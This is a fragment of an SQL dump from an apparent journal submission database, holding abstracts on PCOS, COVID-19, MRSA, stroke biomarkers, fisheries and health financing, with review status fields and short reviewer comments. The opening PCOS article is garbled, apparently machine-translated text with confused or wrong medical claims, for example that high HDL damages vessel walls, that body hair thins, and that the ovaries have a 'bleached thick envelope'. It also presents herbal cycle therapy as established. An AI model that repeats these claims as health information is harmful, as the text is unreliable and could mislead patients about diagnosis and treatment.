different systems, including:\r\n\r\nReproductive system.\r\nMetabolic system.\r\nThe system of blood vessels and the heart.\r\nSkin and hair.\r\nCharacteristic signs of PCOS\r\nPCOS is one of the common problems among women of childbearing age, and a large proportion of women who carry one of the distinctive signs of PCOS suffer from the same syndrome, such as:\r\n\r\n\r\nInfertility due to ovulation problems.\r\nObesity.\r\nHyper hair.\r\nOligomenorrhea or menopause.\r\nThere is still controversy over the precise definition of PCOS, as it was recently recognized that insulin-producing excretion and absorption irregularities in the mechanisms of damage to the common organs are contributing to this phenomenon.\r\n\r\nPCOS is often characterized by a genetic disorder (not yet explained) at the family level, due to its high incidence among women in the family (50% probability of occurrence in a sister of a woman with PCOS).\r\n\r\nCauses of ovarian cysts \r\nDoctors believe that the rise in the androgen hormone  in a woman’s body has a role in developing polycystic ovary syndrome , as it affects the ability of the ovaries to do their job as required Also, infection with this condition may be accompanied by the occurrence of hirsutism and the appearance of acne, and in fact the exact cause of the occurrence of polycystic ovaries is unknown, but there are many factors that may contribute to an increase in the androgen hormone and the occurrence of the polycystic ovarian problem, we mention the following: [2] [3] Genetic and genetic factors: Some genes contribute to the occurrence of polycystic ovaries, as more than one case of ovarian polycystic disease is observed within the same family. Insulin resistance: The occurrence of insulin resistance is often due to weight gain, and this resistance means that the body produces sufficient quantities of insulin, but the cells are unable to use them properly, and in this case the body\'s need for insulin increases, which stimulates the pancreas. To produce more of this hormone, an increase in the hormone insulin contributes to stimulating the ovaries to increase the secretion of androgen hormone. In fact, obesity and insulin resistance increase the risk of developing type 2 diabetes. Infections: Women who are overweight are more likely to develop infections and thus increase\r\n\r\n\r\n\r\nSymptoms of polycystic ovaries\r\nPCOS symptoms include the following signs (or some of them):\r\n\r\n High levels of male hormones - androgens.\r\n A bleached thick envelope containing many cysts (bodies filled with fluid).\r\nIrregular menstruation and even menopause (Amenorrhea) - About 90%, of whom about 70% have fertility problems.\r\nHigh insulin resistance (signs of diabetes), and associated metabolic problems - about 90%.\r\nObesity - about 40%.\r\nFace and body hair thinning and head hair thinning - about 50%.\r\nAcne - about 40%.\r\nCardiovascular damage (vascular walls) as a result of high triglycerides and HDL (good cholesterol) levels.\r\nIncreased risk of not completing pregnancy (if pregnancy occurs).\r\n\r\nTreatment of ovarian cysts\r\nThe symptoms associated with PCOS are mainly treated with these methods:\r\n\r\nA healthy diet, weight maintenance and weight loss - this can: make your menstrual periods more natural, and can reduce hair growth and depression.\r\nExercising regularly and regularly, especially exercises that pump blood to your heart, as well as lifting weights to keep your muscles strong.\r\nTake the medicine to help relieve symptoms and achieve hormonal balance. This treatment may relieve symptoms and help prevent diseases, as well as acne medication.\r\nTo get rid of excess hair, medical creams can be tried to get rid of excess hair, or remove it by electrolytes or laser.\r\nMedicinal herbal treatment.\r\n It is important to undergo constant medical monitoring, to ensure that the treatment is right for you. Sometimes routine checks for diabetes, hypertension and other possible diseases may be needed.\r\n\r\nTreatment of ovarian cysts with herbs\r\nRecently, several studies have been conducted in universities and health centers in China on a therapeutic basis that divides the menstrual period into four sections:\r\n\r\n1- Stimulating follicular production\r\nImmediately after menstruation has occurred (assuming menstruation has occurred). In the case of ovarian cysts, this stage is very short due to follicle-stimulating hormone (FSH) values that are lower than normal.\r\n\r\nThis should be emphasized when receiving Chinese medicine \r\n2- Encouraging ovulation\r\nThis period is responsible for the occurrence of ovulation and the transition from the \"cold\" period from the cycle to the \"hot\" period, because after ovulation the body temperature rises by about half a degree.\r\n\r\nDuring this period the follicle tissue must soften and the endometrium becomes more suitable for the passage of sperm cells and the absorption of the fertilized egg.\r\n\r\n3- Encouraging the growth of the yellow body\r\nThe follicle in which the egg is kept until ovulation is called the corpus luteum. Encouraging the growth of the yellow body allows the hormones necessary for proper absorption of pregnancy to continue in the uterine walls.\r\n\r\n4- Stimulating blood production during the menstrual period\r\nThis period marks a transition period from the \"hot\" period of the cycle to the \"cold\" from Yang to Yin to produce the new endometrium and the new menstrual cycle if the pregnancy absorption is not successful\r\n\r\n','',3202,NULL,'2020-06-01',NULL,'Submitted',4,NULL,'2020-07-21',NULL,1,1,'0','Accepted',0,'','',2,0,0,0,NULL,0),(4439,5652,45,0,'iphsj-20-4439','The significance of Isolated Polycystic Ovarian Morphology in normoandrogenic ovulatory women',NULL,14,0,NULL,'   Introduction: : PCOS  is diagnosed   when at least two of the following three features are  present, after exclusion of other etiologies : (i) oligo- or anovulation, (ii) clinical and/or biochemical Hyperandrogenism , or (iii) polycystic ovarian morphology (PCOM). The definition of PCOM is the presence of 10 or more subcapsular follicular cysts, 2 to 8 mm in diameter, arranged around or within thickened ovarian stroma. So, a woman having PCOM in Eumenorrheic Normoandrogenic Female   is called isolated PCOM and   should not be considered as having PCOS. Up to 20% of fertile women do have isolated PCOM on ultrasound. The clinical significance of PCOM is unclear. PCOM is considered a pre-PCOS state, a normal morphological variant in adolescence, and a possible complication in high responders to controlled ovarian hyperstimulation. The menstrual cycle was considered eumenorrheic if its length from the first day of bleeding to the first day of the next bleeding is between 21-35 days and duration of bleeding 3-7 days. Hirsutism, androgenic alopecia and acne in adult women were considered a good indicator of hyperandrogenism. The review of literature showed few researches about significance of isolated PCOM till now.\r\nObjective:  To highlight the significance of isolated   PCOM in normoandrogenic ovulatory women and to highlight Mansoura experience regarding this topic. \r\nMethods: :  Medline search  from 1994 till ESHRE guidelines 2018 for English language articles related to  isolated PCOM. Cross sectional observational study was done in Mansoura University hospital attending Mansoura University Hospital (MUH) (tertiary hospital in Egypt). Ethical consideration approval was acquired by the health facility Ethics Committee and written knowledgeable consent was taken to all of the enrolled subjects.  156 eumenorrheic, non-hyperandrogenic women. Cases were presented with vaginal discharge, seeking for fertility, postcoital bleeding etc. These cases were subdivided into 2 groups; 20 women with Isolated PCOM group and other group included 136 women without isolated PCOM. All the cases underwent full history taking, full examination and trans-vaginal ultrasonography. Patients were recruited from the gynecology outpatient clinic in Mansoura University hospital within the period from June 2018 to June 2019.  Inclusion criteria included; all women have regular menstruation (21-35 days in length and 3-7 days in duration of menses), no hyperandrogenism. Exclusion criteria included; patients unable or refusing to provide consent, pregnant females, women using hormonal contraceptives, fertility medications and/or valproate (Epilepsy medication), hyperandrogenism (clinical picture of hyperandrogenemia and menstrual disturbance). All the included cases underwent full history taking including; name, age, residence, age of pubarche, medical history and family history of PCOS and diabetes mellitus, full examination including assessment of weight, height and body mass index (BMI), presence of hirsutism, acne and alopecia in addition to trans-vaginal ultrasonography.  Data were analyzed using statistical package of social science program (SPSS) for windows version 22 (SPSS Inc. Chicago, IL, USA). All statistical analyses were based on two-sided hypothesis tests with a significance level of P < 0.05. \r\n\r\nResults: The prevalence of isolated PCOM was 12.8% among the included women in the study (20 of 156 cases). The prevalence of isolated PCOM decreased with increasing age in comparison with non PCOM group (P value=0.13). Body mass index was significantly increased in isolated PCOM (P-value= 0.003). Premature pubarche was significantly increased in patients with isolated PCOM (P-value= 0.001). Infertility was significantly more evident in patients with isolated PCOM (P-value= 0.001). Positive family history of PCOS and DM was significantly increased in these patients (P-value <0.001,0.001, respectively).\r\nDiscussion: we found that prevalence of isolated PCOM decreased with increasing age. Previously it was demonstrated that the parameters used to document PCOM, both ovarian volume and follicle number, decrease with increasing age. Premature pubarche was significantly increased in patients with isolated polycystic ovarian morphology. It is unclear whether the relationship of premature pubarche and risk of PCOS is predicated on increased androgen production by the adrenal glands, a collective increase in circulating androgens (adrenal plus ovarian), or greater androgen bioactivity. On the other hand, infertility was evident in 60% of patients with isolated PCOM. Previously it was reported that the prevalence of PCO generally is up to 34% of women attending fertility clinics. Also, we found that BMI was a significant predictor for isolated PCOM. This increase in our results could be explained by the significant correlation between obesity and isolated PCOM and the high risk of developing the syndrome in this specific group of population. isolated polycystic ovaries showed typical peripheral follicle distribution. central ovarian density was found in 100% of patients with isolated polycystic ovaries. Stromal hypertrophy is characterized by an increased component of the ovarian central part, which seems to be rather hyperechoic. Stromal hypertrophy is highly specific of PCO. There was a contraversary in diagnosis of PCOM with AMH because of the lack of standardization and appropriate cutoffs for the different assays available...\r\nConclusions: isolated PCOM is more susceptible to develop PCOS in the presence risk factors, so may be considered the starting cascade and intermediate stage between normality and PCOS. Polycystic Ovarian Morphology in eumenorrheic women without hyperandrogenism (Isolated PCOM) is prevalent in 12.8% in MUH and more associated with obese, premature pubarche, young age and positive family history of Poly Cystic Ovarian Syndrome and Diabetes Mellitus. \r\n','',3202,NULL,'2020-06-01',NULL,'Submitted',4,NULL,'2020-07-21',NULL,1,1,'0','Accepted',0,'','',2,0,0,0,NULL,0),(4445,5656,73,0,'ipjnn-20-4445','Association between Apolipoproteins A1& B and their ratio with intracranial and extracranial arterial stenosis in acute ischemic stroke patients: An Egyptian Study',NULL,14,0,NULL,'Background: Apolipoproteins A1, B, and their ratio are recognized as better indicators of cardiovascular disease than other cholesterol measures. Association between increased apolipoprotein B/A1 ratio and intracranial or extracranial atherosclerosis has not been well established. Objective: This study aimed to assess the relation between apolipoproteins A1 and B and their ratio to intracranial and extracranial atherosclerotic arterial stenosis in acute ischemic stroke patients. Subjects and Methods: Ninety Egyptian patients with acute ischemic stroke were included. They were distributed into three equal matched groups; thirty patients had intracranial arterial stenosis (group I), thirty patients had extracranial arterial stenosis (group II) and thirty patients had non arterial stenosis (group III). Patients were subjected to clinical assessment, routine laboratory measures and Color-Coded Duplex Sonography for extracranial and intracranial arteries. Measurement of serum levels of apolipoproteins A1 and B was done using Enzyme Linked Immuno-Sorbent Assay (ELISA). Results: A statistically significant difference was found between patients groups as regards frequency of abnormal serum LDL-cholesterol (p=0.04), being elevated in patients with extracranial stenosis (p=0.01). There was a tendency towards significant difference between patients groups as regards frequency of abnormal serum HDL-cholesterol (p= 0.07), being lower in patients with extracranial stenosis (p =0.02). There was a tendency towards significant difference between patients groups as regard abnormal Apolipoprotein B/ A1 ratio (p = 0.07). High Apo B/A1 ratio was an independent risk factor for intracranial arterial stenosis (p= 0.045). Abnormal elevation of serum LDL-cholesterol was an independent risk factor of extracranial arterial stenosis (p= 0.021). Conclusion: Apo B/A1 ratio is an independent risk factor for intracranial arterial stenosis, while serum LDL-cholesterol is an independent risk factor for extracranial arterial stenosis. Apo B/A1 ratio and serum LDL-cholesterol are reliable serum biomarkers for cranial arterial stenosis in acute ischemic stroke patients. \r\n\r\n',' (apolipoprotein A1, apolipoprotein B, atherosclerosis, intracranial stenosis, extracranial stenosis).',338,NULL,'2020-06-01',NULL,'Submitted',4,NULL,'2020-07-28',NULL,1,1,'0',NULL,0,'','',2,0,0,0,NULL,0),(4446,498,45,0,'iphsj-20-4446','Knowledge, Attitudes and Fears of HealthCare Workers towards the Corona Virus Disease (COVID-19) Pandemic in South-South, Nigeria',NULL,14,0,NULL,'BACKGROUND\r\nThe rapid spread of the Covid-19 around the world with attendant mortality and morbidity is worrisome. A good knowledge of the infection process and control would modify behavioral patterns and strengthen the willingness of health care workers to perform their duties. This study was designed to assess the knowledge, attitude and fears of health care workers towards the Coronavirus pandemic. Materials and Methods: This questionnaire-based descriptive study was conducted among healthcare workers in the South-South geopolitical zone of Nigeria. The questionnaire used for this study was constructed by the authors of this study and the content validity was calculated. Both paper and online version of the questionnaires were distributed to our participants and the obtained data were analyzed using descriptive statistics. Results: A total of 300 completed questionnaires were analyzed in this study. The mean age of the participants was 33.6±9.3 years with majority within the age group of 31-40 years, 126 (42%). Females were 172(57.33%) while males were 128 (42.67%).The majority 168 (56%) were highly aware of the pandemic and the most common source of their information was through colleagues 143 (47.67%). Majority of the participants 183 (61%) considered themselves at risk of being infected by the virus going to work these days. Most of the participants 186 (62%) agreed that work place safety is inadequate and lack of social insurance policy for healthcare workers was an obstacle to effective service delivery especially in this period of the pandemic. All the participants 300 (100%) agreed that there should be the provision of personal protective equipment (PPE) to all healthcare workers, especially the front liners and formidable social insurance policy as well as training and retraining of  healthcare personnel. Conclusion: The health care workers in this study are well aware of the aetiology of Coronavirus disease, mode of transmission and symptoms. Fear of infection and lack of indemnity are factors militating against effective dispensation of statutory obligations and improvement in workplace safety will boost health workers willingness to effectively carry out their duties in the face of COVID-19 pandemic.','Attitude, COVID-19, Health Care Workers, Knowledge',388,NULL,'2020-06-01',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(4465,5066,667,0,'iptb-20-4465','Mothers’ perception and management preference of acute diarrheal disease among mothers who attend under five clinic at Hossana health facility, southwestern Ethiopia.',NULL,14,0,NULL,'BACKGROUND: Diarrheal disease are responsible for about 1.5 million under five children deaths per year globally. In Africa, each year around 800,000 children dies due to diarrhea and the rate of child mortality is particularly high in Sub Saharan Africa. However, in many developing countries the perceived cause of diarrhea by mothers is associated with cultural and spiritual reasons. Many intervention that attempt to reduce childhood diarrhea are often fail because they are programed without understanding the problem in the target community and are culturally unsuitable. Therefore this study aimed to assess mothers’ perception and management preference of acute diarrheal disease among mothers who attend under five clinic. An institution based descriptive cross sectional study was conducted from May 1 – May 30/ 2019. A Total of 276 study subjects was included in the study and consecutive sampling technique was used to identify study participants. \r\n\r\nRESULT: 47% of respondents perceive childhood diarrhea is caused by teething, 47.8% of the respondents perceive that diarrhea cannot be transmitted from one child to other. Majority of care givers prefer to give home remedies to their child, but a significant portion of the respondents prefer to take their child to traditional healers, and also a substantial proportion of mothers and caregivers were not adequately knowledgeable and or knowledgeable on use of ORS which resulted in many of them using traditional medicine and or worsening of the conditions. There is need for increased health education focused on increasing caregivers’ knowledge about the cause of diarrhea and enhancing adoption of appropriate prevention practices of diarrhea among children under five years.','Perception, Preference, Diarrhea, Children, Hossana',3575,NULL,'2020-06-02',NULL,'Submitted',4,NULL,'2020-07-22',NULL,1,1,'0','Accept',0,NULL,NULL,2,0,0,0,NULL,0),(4466,5671,251,0,'ipacm-20-4466','A brief overview of SARS-CoV-2 ',NULL,15,0,NULL,'In December 2019 a novel coronavirus was identified in the city of Wuhan, since then more than 6,267,488 laboratory confirmed cases have been reported as of June 1st, 2020 and on March 11th WHO declared it a global pandemic. The highest numbers of fatalities are so far reported from USA (n=106,195), followed by UK (n=38,489), Italy (n=33,415) and Brazil (n=29,341). Scanning electron microscopy revealed spherical virus with a diameter of 120-160nm. Its genome consists of a positive sense single stranded RNA (ssRNA+) of 26-32 kilo base pairs in length. Recent genome sequencing elucidated remarkable genetic similarity with bat-SL-CoVZXC21, bat-SL-CoVZC45 virus strains and the sequenced strains showed 99.9% genetic homology with each other. The S2 protein of this novel virus has 93% similarity with bat-SL-CoVZXC21, bat-SL-CoVZC45 strains. The RNA was detected in the blood and stool samples. The most frequent manifestation of the infection is cough, fever, anosmia, pneumonia characterized by bilateral infiltrates and dyspnea on chest imaging. The Reverse Transcriptase Real Time Polymerase Chain Reaction (RT-PCR) can be used effectively for the detection of viral RNA. National Health Commission of China suggested combination of anti-HIV drug lopinavir and ritonavir and a dose of nebulized interferon α for the treatment. A novel nucleotide analogue remdesivir is also being used for the treatment in United States. Enforcing timely preventive measures such as wearing masks, avoiding close contact with infected individuals, respiratory hygiene, avoiding contact with live or dead animals, regular hand washing at (least for 20s) and use of hand sanitizers can significantly reduce risk of transmission.','Novel Coronavirus, SARS-CoV-2, coronaviruses, Wuhan, China',781,NULL,'2020-06-02',NULL,'Submitted',2,NULL,'2020-07-23',NULL,1,1,'0','COVID is the dangerous virus that is irritaiing people. It has blocked all the living of people around the world. In this article author has explained all those thongs very well and the information provided is very useful to evryone. I suggest to publish this manuscript without any chnages.',0,'','',NULL,0,0,0,NULL,0),(4467,5383,251,0,'ipacm-20-4467','ANTIBIOTIC SUSCEPTIBILITY PROFILE OF AIRBORNE BACTERIA ISOLATED FROM SURGICAL AND LABOUR THEATRES OF FEDERAL TEACHING HOSPITAL, ABAKALIKI',NULL,14,0,NULL,'This study was designed to determine the prevalence and antibiotic susceptibility profile of airborne bacteria isolated from general surgical and labour theatres in Federal Teaching Hospital Abakaliki (FETHA), Ebonyi State, Nigeria. Forty (40) air samples were collected using settle plate method. Airborne bacterial isolates were identified and characterized using standard microbiological techniques. Antibiotic susceptibility profile was determined using Kirby-Bauer disc diffusion technique. Gram-negative bacterial isolates were phenotypically confirmed for ESBL production using the double disc synergy test. Staphylococcus aureus isolates were also screened for methicillin-resistant strains (MRSA) using oxacillin screening agar. S. aureus (100 %), Coagulase-negative Staphylococci (65 %), Bacillus spp (62.5 %), Micrococcus spp (40.0 %), Pseudomonas aeruginosa (22.5 %), Klebsiella spp (20.0 %), Streptococcus spp (17.5 %), and Acinetobacter spp (17.5 %) were isolated from the air samples of the two theatres. Gram-negative bacterial isolates were also screened for extended-spectrum beta-lactamase (ESBL) production. Antibiotic susceptibility tests showed that isolates were highly resistant to trimethoprim/sulfamethoxazole (100 %), penicillin (100 %), ampicillin (100 %), oxacillin (67 %), and clindamycin (50 %), but susceptible to ticarcillin (100 %), tobramycin (100 %), erythromycin (80 %), and norfloxacin (71 %). There was no statistically significant difference in the antibiotic resistance and susceptibility frequencies of isolates in the surgical and labour theatres (P < 0.05). Exactly 30(75) % of the Staphylococcus aureus isolates were identified as methicillin-resistant S. aureus (MRSA), while 17 Gram-negative bacterial isolates (2 Acinetobacter spp, 7 Klebsiella spp, and 8 P. aeruginosa) were ESBL-positive. Generally, bacterial isolates were multi-drug resistant. The presence of airborne bacterial isolates in surgical and theatre wards might indicate that sterilization techniques employed in the disinfection of these critical hospital areas are not efficient enough. This can put patients at risk of post-operative infections. Therefore, hospital environment requires special attention to ensure good indoor air quality for patients and healthcare workers which will greatly help to curtail nosocomial infections.','Airborne bacteria, ESBL, multidrug resistance, antibiotic resistance, hospital theatres',782,NULL,'2020-06-02',NULL,'Submitted',2,NULL,'2020-07-14',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(4482,5688,73,0,'ipjnn-20-4482','A Prospective Study of Quality of Life in Patients Undergoing Microvascular Decompression for Hemifacial Spasm',NULL,14,0,NULL,'Background: Hemifacial spasm (HFS) is a debilitating movement disorder caused by vascular compression of the facial nerve. The negative effect on quality of life (QOL) in patients with HFS has been well documented and our prior retrospective analysis demonstrated that microvascular decompression (MVD) has significantly improved QOL. Few prospective studies have assessed the QOL benefit of treatments for HFS. This study was conducted to compare the pre- and post-operative QOL of patients with HFS undergoing MVD. \r\nMethods: A consecutive series of patients diagnosed with HFS and who underwent MVD surgery during a selected period of time were chosen. Demographic data as well as previous treatment with botulinum toxin were collected, and patients completed a pre-operative and post-operative self-reported QOL survey. \r\nFindings: Complete cure was achieved in 65 of the 72 patients, with 2 patients experiencing an adverse effect of partial hearing loss on the ipsilateral side. The post-operative QOL mean score (2.38 ± 7.67) was superior to the pre-operative QOL mean score (24.94 ± 8.62). \r\nConclusions: MVD for HFS patients substantially improved all of the components of the QOL survey, with a spasm-free status achieved in greater than 90% of patients. \r\n','Hemifacial spasm, microvascular decompression, prospective',334,NULL,'2020-06-03',NULL,'Submitted',2,NULL,'2020-07-28',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4483,5690,85,0,'iphspr-20-4483','ANALYSIS OF THE HEALTH FINANCING STRUCTURE OF BOTSWANA',NULL,15,0,NULL,'Health financing remains a topical issue among policy makers and continues to lead in public discourse as countries design and implement policies, strategies and approaches to achieve equity in health and universal health coverage. Through a review of literature, this paper analyses the health financing structure of Botswana vis-a-vis the health financing sub-function framework with particular focus on the strengths and weaknesses of this health financing arrangement. Evidence shows that government of Botswana is committed to health financing through huge public spending on health and the country boasts of increasing contribution to health financing by the private sector. However, this health financing model is bedeviled by inequality, inefficiency, fragmentation and uncertainty in the sustainability of government funding. These challenges cast doubts on the nation’s capacity to achieve its health system vision and some health financing objectives. Adoption of strategies that worked in other countries such as nationwide health insurance scheme and results-based financing may facilitate the process of ensuring that the financing provided to the Botswana’s health system efficiently translates to equity in health and assures progress towards achieving universal health coverage.','Health financing; Equity in health, Universal health coverage; Results-Based Financing; Health System; Botswana',2922,NULL,'2020-06-03',NULL,'Submitted',2,NULL,'2020-08-19',NULL,1,1,'0',' ',0,'','',NULL,0,0,0,NULL,0),(4496,5697,73,0,'ipjnn-20-4496','Transcranial magnetic stimulation',NULL,14,0,NULL,'Transcranial magnetic stimulation: observation method','',351,NULL,'2020-06-03',NULL,'Submitted',4,NULL,'2020-09-05',NULL,1,1,'0','accepted with minor revision',0,'','',NULL,0,0,0,NULL,0),(4498,5699,667,0,'iptb-20-4498','In-silico Study to elucidate corona Virus by plant phytoderivatives that hits as a fusion inhibitors targeting HR1 domain in spike protein which conformational Changes efficiently inhibit entry COVID-19 ',NULL,14,0,NULL,'Covid-19 could be  a human beta corona virus that have potential source of  severe widespread respiratory and asymptomatic multiple pathophysiological conditions and is belonging to  the SARS and MERS  β-corona viruses linage  that have  inflated  mortality  rates and acute potential of pandemic . The viral envelope surface   spike glycoprotein (S) binding with  host cell  receptor angiotensin-converting enzyme 2 (ACE2)  and  conciliate  fuse  the virus particle inside the host  cell  membranes, promising spike protein substantially important to endocytosis  and host species an involuntary orienting response. within the present in-silico study, two  plant bioactive compounds namely ALS-1and ALS-2 (from  Alangium salvifolium) were analyzed for his or her  inhibitory role on fusion peptide region or S2  HR-1 domain and  efficiently block virus entry into host cell  by applying the molecular  simulation , docking  studies. Other parameters viz. determination of molecular interaction-based binding affinity values, protein-ligand interactions, Lipinski rule of  5, functional properties and biological activities for the above compounds were also calculated by employing the acceptable  bioinformatics tools.  The results of docking analysis clearly showed that ALS-1 has highest binding affinity with trimeric Spike glycoprotein (-11.6 kcal/mole) and ALS-2 (-10.8 kcal/mole) .Based on protein interaction analysis both phytoderivatives bind HR-1 (fusion peptide) domain. Other parametric results showed good absorption activity and not violated Lipinski score of drug-likeness. Therefore studied plant derivatives may  have potentials  to play a big role  2019n-CoV fusion  peptide inhibitor, reveal  influential  inhibitory activity against S-participated  endocytosis  and 2019-nCoV viral infection, suggesting further optimizations(3-DQASR) and pharmaceutical   development of both derivatives, respectively, to stop and treat novel  covid-19 infection. \r\n\r\n','Keywords:  Human Corona virus (HCV), spike glycoprotein, fusion peptide, Lead Molecules, fusion inhibitor\r\n\r\n',3459,NULL,'2020-06-04',NULL,'Submitted',2,NULL,'2020-08-12',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(4502,5704,91,0,'ijddr-20-4502','Antimalarial Drugs Utilization, Adherence to Malaria Treatment Guideline and Awareness of the Guideline among the Health Providers',NULL,14,0,NULL,'Background: Prompt and appropriate administration of effective antimalarial drug is paramount in the prognosis and treatment of severe malaria. Artesunate injection has been chosen over quinine injection as firstline drug for severe malaria treatment following evidences of lower mortality, proven efficacy, ease of use and safety profile. Adherence to this policy will lead to more effective treatments \r\n\r\nObjective: The aims of this study were to audit antimalarial drug utilization in management of severe malaria, assess the adherence to severe malaria treatment guidelines and assess the levels of awareness of the 2015 severe malaria guidelines among health practitioners \r\nMethods: The study was carried out in two secondary hospitals in two phases using two methods. The first method is a retrospective survey using a structured data collection form to collect data on drug use from severe malaria patients’ folders. Second method was a cross sectional prospective study, using validated questionnaires to assess the medical practitioners’ drug of choice for severe malaria treatment and their awareness of the new treatment guidelines\r\nResults:A total of 563 folders of participants were audited, almost half of the patients (48.5%) were 1-5 years, 33 doctors and 17 hospital pharmacists participated. The prevalence of severe malaria was 0.8%, the most prescribed initial and follow up treatment was injection artesunate (84.2%) and oral artemether-lumefantrine (73.7%) respectively. The most common antibiotic and infusion used were ceftriaxone (74.2%) and dextrose saline (65.5%) respectively. About 78.8% of the doctors possessed and implemented the new treatment guideline (NTG) while 72.7% of the doctors were aware of the NTG, 70.6% of the pharmacists were not aware. Age (P-value = 0.0004) and facility (P-value = 0.0001) of the prescribers were significantly associated with the doctors’ choice of medication for each patient	\r\nConclusion: Parenteral artesunate is the most prescribed medication for severe malaria treatment. The healthcare providers in these facilities were adherent to the new treatment guideline for severe malaria with doctors being more aware of the guideline than the pharmacist.','Severe malaria treatment guideline, Adherence, Artesunate injection, Nigeria',1325,NULL,'2020-06-04',NULL,'Submitted',2,NULL,'2020-08-06',NULL,1,1,'0',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(4513,5716,251,0,'ipacm-20-4513','Antimicrobial resistance pattern of Methicillin-resistant Staphylococcus aureus (MRSA) strains isolated from clinical specimens in Kathmandu, Nepal',NULL,14,0,NULL,'Background: \r\nGram-positive bacteria Methicillin-resistant Staphylococcus aureus (MRSA) is responsible for several difficult-to-treat infections in humans. It constitutes the most severe contemporary challenges to the treatment of hospital-acquired infections. \r\n\r\nObjective: \r\nThis study conducted to determine the prevalence of MRSA among clinical isolates of Methicillin-resistant Staphylococcus aureus bacterium and determine the antimicrobial susceptibility pattern.\r\n\r\nMethods: \r\nThe study was carried out from March to September 2018 at Everest Hospital, Kathmandu, Nepal, in which 526 samples isolated from various clinical specimens. Methicillin-resistant Staphylococcus aureus (MRSA) identified by using the Cefoxitin (30 μg) disc diffusion method followed by the given guidelines followed from Clinical and Laboratory Standards Institute (CLSI 2015).\r\n\r\nResults: \r\nMost of the MRSA was isolated from pus, which collected from OPD patients. Antibiotic sensitivity pattern showed that all Methicillin-resistant Staphylococcus aureus isolates were sensitive to vancomycin teicoplanin, linezolid, and none of the isolates were sensitive to antibiotic penicillin. At the end of the final observations, 33.8% of clinical samples were positive to S. aureus growth. \r\n\r\nConclusion: \r\nIn conclusion, the prevalence of MRSA isolates have less as compared to other standard screening of MRSA by cefoxitin disc and also determining the complete antimicrobial susceptibility profile of these isolates to treat these infections effectively. \r\n','Keywords: \r\nMethicillin-resistant Staphylococcus aureus (MRSA); Cefoxitin; E-test; Clinical and bacteria\r\n',786,NULL,'2020-06-04',NULL,'Submitted',2,NULL,'2020-07-14',NULL,1,1,'1','The prevalence of MRSA among clinical isolates of Methicillin-resistant Staphylococcus aureus bacterium and determine the antimicrobial susceptibility pattern determination is interesting study and good number of samples 526 are collected to evaluate the study. Significant method of Methicillin-resistant Staphylococcus aureus (MRSA) identified by using the Cefoxitin (30 μg) disc diffusion method is used. Results are significant and clearly tabulated for easy understanding of study. Discussion and conclusion are clear with good number of citations. Manuscript should be formatted as per journal guidelines and accepted to publish.',0,'','',NULL,0,0,0,NULL,0),(4530,1774,639,0,'ipfs-20-4530','Estimate of gillnet selectivity parameters and true relative abundance of Oreochromisniloticus and Sarotherodongalileus, using four indirect methods, with gillnets principally of three different meshes in the Volta Lake, Ghana',NULL,14,0,NULL,'The study was conducted from July to December, 2018, in the Volta Lake, with gillnets principally of mesh sizes, 7.62 cm, 8.89 cm and 10.16 cm, and an additional mesh size of 6.35 cm, using four indirect methods to investigate gillnet selectivity parameters for Oreochromisniloticus and Sarotherodongalileus and to estimate the true relative abundance of the fish populations from the gillnet catches. A total of 1,969 fish samples of both species was measured for standard length, and selectivity parameters determined by comparison of catches of length classes of successive pairs of gillnets. The study determined selection factors of 1.96 and 1.92 for Oreochromisniloticus and Saratherodongalileus respectively and being nearly equal was attributed to both species having similar body shape. The distribution of the selection curves was skewed, due to various factors, but the resultant asymmetry was corrected by the Beverton/Holt method which minimized the standard deviations of the curves to one-tenth of the normal Holt method for selectivity determination. The gillnet selectivity parameters assessed provided the bench mark for guidance for re-formulation ofthe fisheries regulations on mesh size restrictions for sustainable management of the two tilapiine fish species. Gillnet catches of the two species were significantly different from the true relative abundance of the fish populations due to the selectivity of gillnets. To reflect true abundance and be qualified for more advanced fisheries resources management work, the gillnet data should be adjusted using the probability of capture generated through the selectivity studies.','Oreochromisniloticus, Sarotherodongalileus, length frequency distribution, optimum length, selection factor, probability of capture, true relative abundance.',1770,NULL,'2020-06-05',NULL,'Submitted',2,NULL,'2020-07-24',NULL,1,1,'0','I accept this article to publish in our journal',0,NULL,NULL,NULL,0,0,0,NULL,0),(4531,5737,251,0,'ipacm-20-4531','COVID-19: A REVIEW ABOUT ONE OF THE WORST KNOWN PANDEMICS OF THE CENTURY',NULL,15,0,NULL,'The current outbreak of the novel coronavirus SARS-COV-2 known as COVID-19 is one of the biggest known pandemics to have occurred. Much of the information regarding the SARS-COV 2 has been obtained owing to its similarities to the SARS virus. The spike proteins of the virus attack the ACE 2 receptors present mainly in the respiratory tract. The human body reacts vigorously to the infection by releasing a vast amount of interferon and interleukins which transform into a cytokine storm leading to an acute respiratory distress syndrome. Studies show that people with comorbidities are subject to a greater risk of catching the infection. A large section of these people has underlying cardiovascular diseases and blood pressure. An interesting hypothesis about ACE inhibitors possibly up-regulating the ACE 2 receptors and exposing patients to greater risk is also being studied upon. While the search for a vaccine for COVID-19 is ongoing, convalescent plasma therapy has emerged as an effective therapy for severely affected patients. Anti-viral drugs such as chloroquine, hydroxychloroquine, and remdesivir are also being tried as potential medications. Scientists have advised the intake of vitamin C and vitamin D in adequate doses daily, as studies have shown patients taking these vitamin supplements have lesser risks to catching pneumonia. This review article takes a deep look at how the SARS-COV 2 virus works, its primary symptoms while also briefing about the prophylaxis and medications.','Coronavirus, ACE2 receptors, Alveolar edema, RNA vaccine, Convalescent plasma, Remdesivir',778,NULL,'2020-06-05',NULL,'Submitted',2,NULL,'2020-07-28',NULL,1,1,'0','COVID19 is a viraPnl infection which is causing chronic pulmanory issues. The article is well explained about everything and good to publish. Pneumonia is the problem that is affecting all the infected people and it is leadingto deathin many cases. Case report is good written and good to proceed further.',0,NULL,NULL,NULL,0,0,0,NULL,0),(4564,5772,45,0,'iphsj-20-4564','A short review on the current status of coronavirus disease 2019',NULL,15,0,NULL,'Corona viruses (Co-V) are known as respiratory pathogen leading to a serious pandemic such as serious acute respiratory problems (SARS), the Middle East respiratory syndrome （MERS） and corona virus disease 2019（COVID-19). The World Health Organization (WHO) has acknowledged that recent outbreak as a global public health emergency. Now coronavirus has spread in 213 countries. There are approximately 4740536 confirmed cases and 313641 death in worldwide. In 